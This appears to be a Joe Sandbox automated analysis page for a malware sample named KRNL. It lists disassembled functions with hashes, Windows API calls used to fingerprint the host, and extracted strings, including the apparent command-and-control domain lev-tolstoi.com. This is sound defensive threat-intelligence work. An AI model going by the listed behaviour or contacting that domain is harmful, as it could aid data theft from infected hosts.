Instruction ID: 96e49273ea620ae155524270832f03a61cff14ce2c4030ad9a9b34360ce12f08
Opcode Fuzzy Hash: 3511ef42c4b007baf1fec548fa9812ccd487ed6d294edc1ac7bf06dcc82e3f6b
Instruction Fuzzy Hash: AA4123B0A083109FD718CF24D95073BB6E2EFC9705F14A52EE481A7394E7399C05C79A

Function 0043F040 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

@, xrefs: 0043F090

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: 9191ed74d0d8586d4a373cf941998efa4049e7a180d54467ad32adb286ee0df7
Instruction ID: 2a5c568ff03cc436ede057be6d62a120ad0484157719e54bd9382df1f9979818
Opcode Fuzzy Hash: 9191ed74d0d8586d4a373cf941998efa4049e7a180d54467ad32adb286ee0df7
Instruction Fuzzy Hash: 4021EEB94093049BC710CF18E88066BB7F5FFC9320F15693DE58897360E376A848C75A

Function 0040C08B Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

|X|X, xrefs: 0040C0EF

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: |X|X
API String ID: 0-2218283020
Opcode ID: ce84bb1b908e3da7b10efdad8a51853dd17b9261ed57cfd3814ffec2b1657eb9
Instruction ID: 13b12417835161548989760e477e4b9bf18457aaa1a030ea2397493de378e4bd
Opcode Fuzzy Hash: ce84bb1b908e3da7b10efdad8a51853dd17b9261ed57cfd3814ffec2b1657eb9
Instruction Fuzzy Hash: 4D21A2BAE406228BC725CF58CC95BAAF7B0FF49700F024228ED49BB750D635AC4287D4

Function 0043F150 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 88498985efd4b3ba56db0083681181ecdc59f8f7a8d40373a67364ad67f09b48
Instruction ID: bda42ee7fe58aa78db34f1b728a56894abae76de33374c7402216ab42dc0119f
Opcode Fuzzy Hash: 88498985efd4b3ba56db0083681181ecdc59f8f7a8d40373a67364ad67f09b48
Instruction Fuzzy Hash: 29812636A042119BCB249F18CC40AAFB3A2FFD8710F15A53DED859B364EB34AC158385

Function 0043B1D0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1512670e2730101e1da27ba101819542289284cb3c28dd2e5113689dce48cd15
Instruction ID: e6a55991c61f36b3aa79f998637d078abe9e386279f295a7a094abe81f2018d2
Opcode Fuzzy Hash: 1512670e2730101e1da27ba101819542289284cb3c28dd2e5113689dce48cd15
Instruction Fuzzy Hash: 97513735A083149BE720EF25C84476BB3A2FFD9700F15953EDA849B361E7756C1187C9

Function 0042B00F Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963b01d9d9c5355ea5fc2f8ae16c758e2793185ce3c7b00e16d00e46dcfaf915
Instruction ID: f6c1554600131ee17df06160cbc0b7981c093ccfdab986da07a7a73cd69f7880
Opcode Fuzzy Hash: 963b01d9d9c5355ea5fc2f8ae16c758e2793185ce3c7b00e16d00e46dcfaf915
Instruction Fuzzy Hash: 81415121B542778BEB148A249C623B7F791EB66380F9C827BD85587381E31CDC16E3D6

Function 004404D0 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7cf914e994c1d43a5ad869bc00fbdd8a30e72d999c25ec1797e9f8145f45b8fd
Instruction ID: de807461c8146aa5c2ca4a7867b47f0d9f0c6b40113fcb14a59165e0f2bfc41e
Opcode Fuzzy Hash: 7cf914e994c1d43a5ad869bc00fbdd8a30e72d999c25ec1797e9f8145f45b8fd
Instruction Fuzzy Hash: ED412638258300ABE714DF54DC81BBBB3A6EBC5314F19542EE2859B3A0D679AC319B09

Function 004086C0 Relevance: 7.6, APIs: 5, Instructions: 92
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 004086E2
GetCurrentThreadId.KERNEL32 ref: 004086E8
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004086F9
GetForegroundWindow.USER32 ref: 004087BA
ExitProcess.KERNEL32 ref: 004087F9

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitFolderForegroundPathSpecialThreadWindow
String ID:
API String ID: 4063528623-0
Opcode ID: 25297c4e6d31d418d84edee6cd033a4f8f22fc1c227bdeb32d9657ac67d9222f
Instruction ID: 2ce280b1cfb3896d9c47e6bfffc2885025d21bcec38fee026491e5ccd9a28d87
Opcode Fuzzy Hash: 25297c4e6d31d418d84edee6cd033a4f8f22fc1c227bdeb32d9657ac67d9222f
Instruction Fuzzy Hash: AA2157B5E002005BD714BB25DE0B7AA36929FC6715F19853EF481FB3EADE7D4801829E

Function 0040E042 Relevance: 6.3, APIs: 1, Strings: 3, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoUninitialize.COMBASE ref: 0040E04E

Strings

lev-tolstoi.com, xrefs: 0040E47B
&j=, xrefs: 0040E1DE
>, xrefs: 0040E3F1

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: Uninitialize
String ID: >$&j=$lev-tolstoi.com
API String ID: 3861434553-369662323
Opcode ID: 3d28a1f1a15885d9d52034b46abf3598a3a277188b4e8ec1b803c36980448f93
Instruction ID: 1fb7841e1e2579a847afcb15edb254a2e2fdfe5f13ac9abd7e0cca66af938fd0
Opcode Fuzzy Hash: 3d28a1f1a15885d9d52034b46abf3598a3a277188b4e8ec1b803c36980448f93
Instruction Fuzzy Hash: E6A1EE7150D3928BD3348F2AD4947ABBBE1AFD2300F28996DC4D96B3A1D7390419CB96

Function 0042BAB3 Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,00000100), ref: 0042C98B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 138642e3b029cd67481014b7a1c73e129986cda9bd7b72bccbddae5cfeb5dc20
Instruction ID: 277084f53d57a87b5b2b20f77d7380db257985fd3cb1fd9ab0cb610f189f46a1
Opcode Fuzzy Hash: 138642e3b029cd67481014b7a1c73e129986cda9bd7b72bccbddae5cfeb5dc20
Instruction Fuzzy Hash: FE21D0752193918AD3358F25C8593EBB7E1EFD6300F68486EC4C9CB291DB7480498B55

Function 00436B2D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436B5E

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 31306f98e230910a5fd7d7977191c2fec37472a6c1007d9d0bebbc925698677f
Instruction ID: cdf554ddc886994256fa701720874313e26cc57f0015e9f664b6f87ea11e118c
Opcode Fuzzy Hash: 31306f98e230910a5fd7d7977191c2fec37472a6c1007d9d0bebbc925698677f
Instruction Fuzzy Hash: BB11E472B112158BD718CB68CD526EEA7F3AFDD300F2AD07EC449D7298DA3C4A458A15

Function 0043CCC0 Relevance: 1.5, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,00000000,0040B4B0,00000000,00000001), ref: 0043CCF2

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f74496de956946dffa7b91c889c0a81754d677ad04bfa79f72b50fce16be8890
Instruction ID: 3e35ca9de78357d80fd4bacc6a075dc7f03e91ea1ec4ff9afb29cf567c24048d
Opcode Fuzzy Hash: f74496de956946dffa7b91c889c0a81754d677ad04bfa79f72b50fce16be8890
Instruction Fuzzy Hash: 8EE02B72404211EBC6512F267C06B5F3B68EF8B764F06183AF800A2162DB39F811C2DE

Function 0040CC13 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CC25

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 285b51be9f12c006e86ee7f8c2a2ec48db26b0aafef5a544261be67158f7b437
Instruction ID: c1ba3966c5ebc0bb1aa72e15ac49d3ddb4e269f0deaef98e892af36381d0cc8b
Opcode Fuzzy Hash: 285b51be9f12c006e86ee7f8c2a2ec48db26b0aafef5a544261be67158f7b437
Instruction Fuzzy Hash: 6AE0D87A7E0A043AF25C4629DD37F545153A7C1B12F38C36CB3122D2DCC5B4A4028108

Function 0042EBD5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042EC1B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9296605408a4aa8f42ffeadd4301eca10fa856db4b8f8b03f33fe2ee125ce19c
Instruction ID: dd30eb0f9bedd3f719cd28822517c03636a8239ffc1cd416ab20bf3b2583c864
Opcode Fuzzy Hash: 9296605408a4aa8f42ffeadd4301eca10fa856db4b8f8b03f33fe2ee125ce19c
Instruction Fuzzy Hash: E1F06D745097029FD314DF64D5A871ABBF1FB85304F50881DE4958B7A0C7B6A549CF82

Function 00431563 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004315A7

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a1bf64a6e68641f34fd65572d82cba1ace6207dc8bbbf3c2df9395e530bc443d
Instruction ID: 4c45bf1f3b2393cf066d11d4a873c6d75db077c42eb8bc10690dc6e6087ea188
Opcode Fuzzy Hash: a1bf64a6e68641f34fd65572d82cba1ace6207dc8bbbf3c2df9395e530bc443d
Instruction Fuzzy Hash: 0DF0B2B46083029FE314EF29C5A871BBBE4AFC5304F11891CE4958B290CBB99949CF82

Function 0043CE81 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CE9A

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 50d67614470f5ac9744d5140c2bd38d875ead9fb31099f94075d403dcd0e0617
Instruction ID: ac7b53e1434bc05ab928a2aff0f00397df47a67b60f94d82b014c2efecf6ae2b
Opcode Fuzzy Hash: 50d67614470f5ac9744d5140c2bd38d875ead9fb31099f94075d403dcd0e0617
Instruction Fuzzy Hash: 6CE086BD9042429FC700DF14EC458653364EB1A315704443EE142C3372DA36D903DE08

Function 0040CBE0 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040CBF3

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 21bc0f035acf462b5611160d03c5ac7039f62254e978f2f1d5e313e4c4f2944d
Instruction ID: 276ef5dfe185dc0c3bd898d983644633ece5b914e2c36080a16977790bdaa27c
Opcode Fuzzy Hash: 21bc0f035acf462b5611160d03c5ac7039f62254e978f2f1d5e313e4c4f2944d
Instruction Fuzzy Hash: 94D0A7345D01447BE344A75CEC07F22375C9793716F900235F662D65E1D9906910D6BD

Function 0043B1A0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004121FC), ref: 0043B1BE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 764c5e292d854dffb3dce8f316635c8f35a8183dcbb4b133c646b31cf2cd0cc2
Instruction ID: c647758476c43136972f23f3513579106d4cce35488911c36db9c9bf482454e3
Opcode Fuzzy Hash: 764c5e292d854dffb3dce8f316635c8f35a8183dcbb4b133c646b31cf2cd0cc2
Instruction Fuzzy Hash: 37D01231405523EBC7101F19FC06B8A3A94DF0A321F430865B4046B0B1C664EC9086D8

Function 0043B180 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,00408749,?,00408749), ref: 0043B190

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ba20e54d5aeeddf63a642a1b492bef5fac5cb591cb86e8b73edcf7f871e8f5
Instruction ID: bd46a91a5c1b4e186f451d2a3caef90eea8ed5143fba280766b224e500ec41e2
Opcode Fuzzy Hash: f1ba20e54d5aeeddf63a642a1b492bef5fac5cb591cb86e8b73edcf7f871e8f5
Instruction Fuzzy Hash: 31C09B31045121EBC6502F16FC05FC63F54EF55355F051455B404670F1C760EC41CADC

Non-executed Functions

Function 00423C40 Relevance: 39.2, APIs: 2, Strings: 20, Instructions: 663COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00423D59
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 00423D99

Strings

|i, xrefs: 00424A98
<, xrefs: 00424724
XH, xrefs: 00424A2A
AQ, xrefs: 00424A5C
_p, xrefs: 00424A02
>>, xrefs: 0042471A
9, xrefs: 004246D4
mm, xrefs: 004249DA
45, xrefs: 004246DE
wY, xrefs: 004249EE
\\, xrefs: 004249F8
PR, xrefs: 00424A48
rl, xrefs: 004249D0
Vq, xrefs: 0042499E
bo, xrefs: 004249E4
ef, xrefs: 00424AA2
Vq, xrefs: 00424B78, 00424579, 00424774, 00424971, 004242C2, 0042474F
Ys, xrefs: 00424A84
|s, xrefs: 00424A8E
&Kt0, xrefs: 004242B5

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: 9$&Kt0$45$<$>>$AQ$PR$Vq$Vq$XH$Ys$\\$_p$bo$ef$mm$rl$wY$|i$|s
API String ID: 237503144-3538275056
Opcode ID: b014b7a59d3951637f34667f59e36019c610bbfdd2af91bae6bf5bf410971a01
Instruction ID: 1666b33dfea27814c8a335e8a4f19e8460577b272b6aed58dd039adecd7a2ec5
Opcode Fuzzy Hash: b014b7a59d3951637f34667f59e36019c610bbfdd2af91bae6bf5bf410971a01
Instruction Fuzzy Hash: DA7263B99053699BDB60DF19DC883CDBB71FB95304F108AE9C4592B390DB784A81CF86

Function 00423EC0 Relevance: 39.2, APIs: 1, Strings: 21, Instructions: 651COMMON

Download Yara Rule

Strings

|i, xrefs: 00424A98
<, xrefs: 00424724
XH, xrefs: 00424A2A
AQ, xrefs: 00424A5C
_p, xrefs: 00424A02
>>, xrefs: 0042471A
9, xrefs: 004246D4
mm, xrefs: 004249DA
45, xrefs: 004246DE
0b, xrefs: 00423F5C
wY, xrefs: 004249EE
\\, xrefs: 004249F8
PR, xrefs: 00424A48
rl, xrefs: 004249D0
Vq, xrefs: 0042499E
bo, xrefs: 004249E4
ef, xrefs: 00424AA2
Vq, xrefs: 00424B78, 00424579, 00424774, 00424971, 004242C2, 0042474F
Ys, xrefs: 00424A84
|s, xrefs: 00424A8E
&Kt0, xrefs: 004242B5

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 9$&Kt0$0b$45$<$>>$AQ$PR$Vq$Vq$XH$Ys$\\$_p$bo$ef$mm$rl$wY$|i$|s
API String ID: 0-1097330926
Opcode ID: a1f94b11949275e8069bc20abe81d2010a5b2d7f4bf8cf5f9cf8c986fdad36b1
Instruction ID: b07e6adf7c7580e31f81f34cb8ad9f597e7046c3fe9383923d964ddd8e2be701
Opcode Fuzzy Hash: a1f94b11949275e8069bc20abe81d2010a5b2d7f4bf8cf5f9cf8c986fdad36b1
Instruction Fuzzy Hash: 5E7262B8D0526A9BDB60DF59DC883CDBB71FF95304F108AE9C4596B250DB380A81CF86

Function 00424060 Relevance: 37.3, APIs: 1, Strings: 20, Instructions: 581COMMON

Download Yara Rule

Strings

|i, xrefs: 00424A98
<, xrefs: 00424724
XH, xrefs: 00424A2A
AQ, xrefs: 00424A5C
_p, xrefs: 00424A02
>>, xrefs: 0042471A
9, xrefs: 004246D4
mm, xrefs: 004249DA
45, xrefs: 004246DE
wY, xrefs: 004249EE
\\, xrefs: 004249F8
PR, xrefs: 00424A48
rl, xrefs: 004249D0
Vq, xrefs: 0042499E
bo, xrefs: 004249E4
ef, xrefs: 00424AA2
Vq, xrefs: 00424B78, 00424579, 00424774, 00424971, 004242C2, 0042474F
Ys, xrefs: 00424A84
|s, xrefs: 00424A8E
&Kt0, xrefs: 004242B5

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 9$&Kt0$45$<$>>$AQ$PR$Vq$Vq$XH$Ys$\\$_p$bo$ef$mm$rl$wY$|i$|s
API String ID: 0-3538275056
Opcode ID: ff1fe25e9e673a135530696f1c2e179ad14c71c8b1183f928a20b5e979637931
Instruction ID: c58b3c97d3732406a86a154fa40332ade82447cee3a4b8ffceeb85e0bc4811b8
Opcode Fuzzy Hash: ff1fe25e9e673a135530696f1c2e179ad14c71c8b1183f928a20b5e979637931
Instruction Fuzzy Hash: 4C6243B99052699BDB60DF19DC883CDBB71FFA5304F108AE9C4593B250DB384A81CF86

Function 004177AD Relevance: 25.3, APIs: 3, Strings: 11, Instructions: 788COMMON

Download Yara Rule

Strings

"f&f, xrefs: 00417CB5
{fGf, xrefs: 00417CF6
=f!f, xrefs: 00417CBD
Jc1t, xrefs: 00417886, 00417D27, 00417D1E, 004178A2, 00417962, 00417913
=f(f, xrefs: 00417CC5
)fvf, xrefs: 00417CDD
Jc1t, xrefs: 004177D0
21, xrefs: 0041786B
,ZA, xrefs: 0041815C
Pf6f, xrefs: 00417CCD
,f4f, xrefs: 00417CD5

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "f&f$)fvf$,ZA$,f4f$21$=f!f$=f(f$Jc1t$Jc1t$Pf6f${fGf
API String ID: 0-710588756
Opcode ID: d5eefe01124a04aaecba9110486d758d660dffb09e16bdc73fa1e38b142bf8cb
Instruction ID: ab1276890b7e4d60ac31e8d7f5af75c5f57bb126c4e48dcd0f14b83392fd953b
Opcode Fuzzy Hash: d5eefe01124a04aaecba9110486d758d660dffb09e16bdc73fa1e38b142bf8cb
Instruction Fuzzy Hash: 3742F3765083118BD724CF25C8907ABB7F1EFC9314F15892EE8C997361EB389991CB4A

Function 00420A20 Relevance: 16.7, Strings: 13, Instructions: 419COMMON

Download Yara Rule

Strings

#3=3, xrefs: 00420AF8
k3l3, xrefs: 00420AD0
83F3, xrefs: 00420B08
93=3, xrefs: 00420B00
d3f3, xrefs: 00420AC0
#3#3, xrefs: 00420AE8
i3_3, xrefs: 00420AC8
:3 3, xrefs: 00420AE0
*, xrefs: 00420EBB
O30, xrefs: 00420B18
'3!3, xrefs: 00420AF0
J3L3, xrefs: 00420B10
83R3, xrefs: 00420AD8

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: #3#3$#3=3$'3!3$*$83F3$83R3$93=3$:3 3$J3L3$O30$d3f3$i3_3$k3l3
API String ID: 0-1612148737
Opcode ID: 9399a7ee9c6e5426ff3ceaea5b5b42d51cd07c97ddf9252c8df36100a12064cf
Instruction ID: d8fb8020a3cc6f2a77e7ef34e68e444773c6829ddc0a3ffcdc26604336b8212f
Opcode Fuzzy Hash: 9399a7ee9c6e5426ff3ceaea5b5b42d51cd07c97ddf9252c8df36100a12064cf
Instruction Fuzzy Hash: 89B126B16183208BC724DF18C85266BB7F1FFD1354F588A1DE4828F3A1E7789844CB96

Function 004285E1 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 300COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 0042860A

Strings

bJSJ, xrefs: 004289D9
cJwJ, xrefs: 0042891A
wJbJ, xrefs: 00428912
rJnJ, xrefs: 0042892A
,J^J, xrefs: 00428922
J, xrefs: 0042893A
tJdJ, xrefs: 00428932

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: J$,J^J$bJSJ$cJwJ$rJnJ$tJdJ$wJbJ
API String ID: 237503144-492521606
Opcode ID: 973a2b58bd6d7435bac51cb8ee912dccf8309705b16b7e8cff55539545f2cee1
Instruction ID: dfef59bcc1acdaadf563c9da893a7df5761e8c79a35e082c28548025607413e8
Opcode Fuzzy Hash: 973a2b58bd6d7435bac51cb8ee912dccf8309705b16b7e8cff55539545f2cee1
Instruction Fuzzy Hash: 54A1E2729083128BD714CF54D4506AFB3F1FFC1344F45892DE999AB350EB789945CB8A

Function 00428A4D Relevance: 11.6, Strings: 9, Instructions: 394COMMON

Download Yara Rule

Strings

Uqmq, xrefs: 00428ADE
bJSJ, xrefs: 004289D9
cJwJ, xrefs: 0042891A
oq|q, xrefs: 00428B36
wJbJ, xrefs: 00428912
rJnJ, xrefs: 0042892A
,J^J, xrefs: 00428922
J, xrefs: 0042893A
tJdJ, xrefs: 00428932

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: J$,J^J$Uqmq$bJSJ$cJwJ$oq|q$rJnJ$tJdJ$wJbJ
API String ID: 0-594100160
Opcode ID: 99ed429220cc6030d532777ece67301cdc2336b41890651687883faee18324cc
Instruction ID: ace79c1ac5836ebcc237f59b1b0d0662a53369457569fb5ab3995258eec696b1
Opcode Fuzzy Hash: 99ed429220cc6030d532777ece67301cdc2336b41890651687883faee18324cc
